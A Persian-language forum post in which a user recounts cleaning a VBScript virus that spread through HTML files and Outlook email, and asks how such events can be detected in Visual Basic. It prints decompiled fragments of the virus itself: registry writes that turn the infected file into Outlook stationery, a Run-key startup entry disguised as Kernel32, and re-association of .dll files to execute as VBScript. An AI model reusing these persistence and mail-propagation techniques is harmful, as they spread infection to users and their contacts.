چگونه می توان رخداد نصب شخص به اینترنت یا ایمیل را فهمید؟

یک ویروس از طریق اینترنت (ترجان کرم رایانه ای و ... نمی دانم فرق انها چیست) به رایانه ما افتاد، (درون فایلهای HTML - ایمیلهای مشکوک را باز نکنید) و بماند، از چه طریق خود را کپی و لود می کرد،( از طریق ترجمه VBS ان تا حدودی از عملکرد آن سر در آوردم) ولی یک عمل جالب (پس کشف کد) انجام می داد، که هر فایل HTML یا ASP و (HTT فایلهای تنظیم فولدرها در ویندوز) غیره و یا js و یا vbs و مشابه که باز می شد، از طریق کد خود که رجیستری ویندوز را(قسمتهای اکسپلورر و ایمیل و اوت لوک)را تغییر داده بود، به انتهای فایل مذکور اضافه می شد( یا هنگام باز کردن هر پوشه ویندوز، یک نمونه خود را در پوشه می انداخت، و بسرعت خود را ازدیاد می کرد) و بدین ترتیب می دانست که کی اکسپلورر باز شده است و آماده نمایش صفحه ای می باشد(یا پوشه ویندوز) و همچنین هر زمان که به اینترنت وصل می شدیم، دوباره فعال می شد، و هر زمان که ایمیلی می فرستادیم، خود را به ایمیل وصل می کرد، و خلاصه همه جا (از جمله هارد خودم و بیچاره چند تن از اقوام) آلوده فراوان تا حد نزدیکیFDISK پیش رفت، ولی چون ما برنامه نویسی خوانده بودیم، اینجا به داد ما رسید، و توانستیم ضد ویروس آن را ساخته و فایلهای ویروس دار را شناسائی و ویروس را پاک نمائیم، و خلاصه تا حدود زیادی از شر ویروس خلاص شدیم. ولی ویروس مذکور درسهائی هم برایمان داشت، از جمله چگونه ویروس (از طریق رجستری) زمان رخدادهای ذکر شده را می فهمید، و اصولاً چگونه می توان این رخدادها را در VB شناخت.
چنانچه کسی پاسخهای بالا را می داند جواب گوید.
ضمناً نمونه آدرسهائی که ویروس آنها را تغییر می داد را در ذیل اورده ام که قابل توجه می باشد.


DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Defa ult User ID")
OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Micro soft\Outlook Express\MediaVer")
WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Softwa re\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultI d&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile)
Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultI d&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile)
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\O utlook\Options\Mail\EditorPreference",131072,"REG_ DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360 ","blank")
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Wi ndows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360 ","blank")
WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\ Outlook\Options\Mail\EditorPreference",131072,"REG _DWORD"
Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Of fice\10.0\Common\MailSettings\NewStationery","blan k")
KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery")

دسته ای دیگر از ادرسها

WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\Kernel32",StartUpFile
FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt"
FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini"
Call KJAppendTo(WinPath & "web\Folder.htt","htt")
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile"
WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.R egRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\")
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScrip t"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",Wi nPath & TempPath & "WScript.exe ""%1"" %*"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHa ndlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}"
WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85 131631-480C-11D2-B1F9-00C04F86C324}"


تابع KJMailReg

Function KJMailReg(RegStr,FileName)
On Error Resume Next
RegTempStr = WsShell.RegRead(RegStr)
If RegTempStr = "" Then
WsShell.RegWrite RegStr,FileName
End If
End Function

متشکرم